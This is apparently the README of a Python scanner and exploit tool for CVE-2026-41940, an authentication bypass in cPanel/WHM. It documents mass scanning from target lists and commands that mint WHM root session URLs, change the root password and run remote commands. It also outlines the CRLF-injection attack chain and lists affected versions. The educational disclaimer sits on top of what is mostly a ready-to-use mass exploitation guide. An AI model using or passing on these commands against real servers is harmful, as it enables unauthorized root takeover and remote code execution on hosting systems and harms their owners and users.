CVE-2026-41940 - cPanel/WHM Auth Bypass Scanner & Exploit Tool

cPanel/WHM Authentication Bypass Scanner & Exploit Tool for CVE-2026-41940

⚠️ Disclaimer

This tool is provided for educational purposes and authorized security testing only.

By using this tool, you agree that:

• You will only test systems you own or have explicit written permission to test.
• You understand that unauthorized access to computer systems is illegal.
• You are solely responsible for your actions while using this tool.
• You may not redistribute, modify, or claim this tool as your own.

❗ The author is NOT responsible for any misuse, illegal activities, damages, or legal consequences resulting from the use of this tool.

🎯 Overview

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel/WHM that may allow attackers to gain unauthorized root-level access without valid credentials.

This tool provides a Python-based implementation for:

• Detecting vulnerable targets
• Automating exploitation (for authorized testing)
• Performing large-scale scanning

🔥 4-Stage Attack Chain

✨ Features

📋 Requirements

Python 3.7+
pip install requests urllib3

🚀 Installation

git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt

# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com

📖 Usage

Basic Commands

# Single target
python cpanel-mass-checker.py -u https://target.com:2087

# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20

# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt

# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com

# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com

# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com

# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com

📄 Target File Format (targets.txt)

# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083

⚙️ Parameters

📊 Example Output

Batch Scan

[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt

Session URL Generation

[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
    https://example.com:2087/cpsessXXXXXXX/

🛡️ Vulnerability Details

Affected Versions

• WHM 11.110.x < 11.110.0.97
• WHM 11.118.x < 11.118.0.63
• WHM 11.126.x < 11.126.0.54
• WHM 11.132.x < 11.132.0.29
• WHM 11.134.x < 11.134.0.20
• WHM 11.136.x < 11.136.0.5

⚠️ Important Notes

• Use only on authorized systems
• Session tokens expire quickly
• RCE may fail on restricted licenses
• Some targets require -hostname
• All traffic uses HTTPS

🧪 Testing Environment

For safe and legal testing:

• Use your own VPS/server
• Set up a vulnerable lab environment
• Always obtain written permission

⭐ Support

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